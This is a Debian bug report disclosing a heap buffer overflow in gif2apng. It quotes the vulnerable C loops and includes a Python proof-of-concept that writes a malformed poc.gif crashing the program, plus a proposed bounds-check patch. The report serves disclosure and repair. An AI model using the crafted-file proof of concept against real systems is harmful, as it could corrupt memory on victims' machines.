--- Begin Message ---
- To: Debian Bug Tracking System <submit@bugs.debian.org>
- Subject: gif2apng: Heap based buffer overflow in the main function
- From: Kolja Grassmann <koljagrassmann@mailbox.org>
- Date: Sun, 26 Dec 2021 23:45:11 +0100 (CET)
- Message-id: <614169838.551654.1640558711489@office.mailbox.org>
Package: gif2apng
Version: 1.9+srconly-3
Severity: important
Tags: security
Dear Maintainer,
I found a heap overflow in the main function of the gif2apng application. The issue exists within the for loops in the following code from the main function in gif2apng.cpp:
if (coltype == 2)
{
for (j=0; j<h0; j++)
{
k = j; if (interlaced) k = (j>h2) ? (j-h2)*2-1 : (j>h2/2) ? (j-h2/2)*4-2 : (j>h2/4) ? (j-h2/4)*8-4 : j*8;
src = buffer + j*w0;
dst = frame0 + ((k+y0)*w + x0)*3;
for (i=0; i<w0; i++, src++, dst+=3)
if (!has_t || *src != t)
memcpy(dst, &pal_l[*src][0], 3);
}
}
else
{
for (j=0; j<h0; j++)
{
k = j; if (interlaced) k = (j>h2) ? (j-h2)*2-1 : (j>h2/2) ? (j-h2/2)*4-2 : (j>h2/4) ? (j-h2/4)*8-4 : j*8;
src = buffer + j*w0;
dst = frame0 + (k+y0)*w + x0;
if (shuffle)
{
for (i=0; i<w0; i++, src++, dst++)
if (!has_t || *src != t)
*dst = sh[*src];
}
else
{
for (i=0; i<w0; i++, src++, dst++)
if (!has_t || *src != t)
*dst = *src;
}
}
}
The variable frame0 points to a buffer of size w * h * 3 or size w * h depending on the code path. The buffer variable points to a buffer holding user controllable data from the provided gif file. The variables w0, h0, x0 and y0 are also read from the gif file provided to the program without any validation. By choosing these values in the right way it is possible to manipulate the address, that data is written to as well as the number of bytes that are copied to the destination.
I wrote the following poc script, which creates a poc.gif file:
#!/bin/python3
# Writing to poc.gif
f = open("poc.gif", "wb")
sig = b"GIF87a"
w = b"\x10\x00"
h = b"\x10\x00"
flags_one = b"\x00"
bcolor = b"\x01"
aspect = b"\x01"
data = sig + w + h + flags_one + bcolor + aspect
f.write(data)
id = b"\x2c"
w0 = b"\xff\x00"
y0 = b"\x00\x00"
x0 = b"\xff\x00"
h0 = b"\x02\x00"
flags_two = b"\x00"
data = id + x0 + y0 + w0 + h0 + flags_two
f.write(data)
# DecodeLZW
mincode = b"\x07"
f.write(mincode)
for i in range(0,512):
# Size value and byte we write to the buffer
target_char = b"\x01" + b"A"
f.write(target_char)
# Resetting the values using "clearcode" to keep the code path as simple as
possible
clear_code = b"\x01" + b"\x80"
f.write(clear_code)
# Leaving function
target_char = b"\x00"
f.write(target_char)
f.write(b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
f.close()
Executing the following on the package from the testing repository on Debian 10 lead to a memory corruption issue:
user@debian:~$ gif2apng -i0 poc.gif /dev/null
gif2apng 1.9 using ZLIB
Reading 'poc.gif'...
1 frames.
Writing 'poc.png'...
1 frames.
double free or corruption (out)
Abgebrochen
I have not looked into exploiting this bug. However as it allows us to write arbitrary data to an address outside of the intended buffer and as we have control over parts of the address as well as the data that is written, this could in my opinion be exploitable.
I did a rudimentary fix for this issue locally by doing a bounds check before entering the for loops. However I am not sure if this is the cleanest solution, as this does only adresses the buffer overflow and not the lack of sanity
checks performed on the image data. It could also use some more testing.
if (coltype == 2)
{
for (j=0; j<h0; j++)
{
k = j; if (interlaced) k = (j>h2) ? (j-h2)*2-1 : (j>h2/2) ?
(j-h2/2)*4-2 : (j>h2/4) ? (j-h2/4)*8-4 : j*8;
src = buffer + j*w0;
dst = frame0 + ((k+y0)*w + x0)*3;
if ( ( (j*w0 + w0) > buffer_size) || ( ((((k+y0)*w + x0)*3) + w0
* 3 ) > imagesize) || ((((k+y0)*w + x0)*3) < 0 ) || ( (j*w0) < 0)) {
printf("Something is wrong with the size values\n");
exit(0);
}
for (i=0; i<w0; i++, src++, dst+=3)
if (!has_t || *src != t)
memcpy(dst, &pal_l[*src][0], 3);
}
}
else
{
for (j=0; j<h0; j++)
{
k = j; if (interlaced) k = (j>h2) ? (j-h2)*2-1 : (j>h2/2) ?
(j-h2/2)*4-2 : (j>h2/4) ? (j-h2/4)*8-4 : j*8;
src = buffer + j*w0;
dst = frame0 + (k+y0)*w + x0;
if ( ( (j*w0 + w0) > buffer_size) || ( (((k+y0)*w + x0) + w0 ) >
imagesize) || ((((k+y0)*w + x0)) < 0 ) || ( (j*w0) < 0)) {
printf("Something is wrong with the size values\n");
exit(0);
}
if (shuffle)
{
for (i=0; i<w0; i++, src++, dst++)
if (!has_t || *src != t)
*dst = sh[*src];
}
else
{
for (i=0; i<w0; i++, src++, dst++)
if (!has_t || *src != t)
*dst = *src;
}
}
}
Best regards
Kolja
-- System Information:
Debian Release: 10.11
APT prefers oldstable-updates
APT policy: (500, 'oldstable-updates'), (500, 'oldstable')
Architecture: amd64 (x86_64)
Kernel: Linux 4.19.0-18-amd64 (SMP w/8 CPU cores)
Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
Locale: LANG=de_DE.UTF-8, LC_CTYPE=de_DE.UTF-8 (charmap=UTF-8), LANGUAGE=de_DE.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /usr/bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled
Versions of packages gif2apng depends on:
ii libc6 2.28-10
ii libzopfli1 1.0.2-1
ii zlib1g 1:1.2.11.dfsg-1
gif2apng recommends no packages.
Versions of packages gif2apng suggests:
pn apng2gif <none>
-- no debconf information
--- End Message ---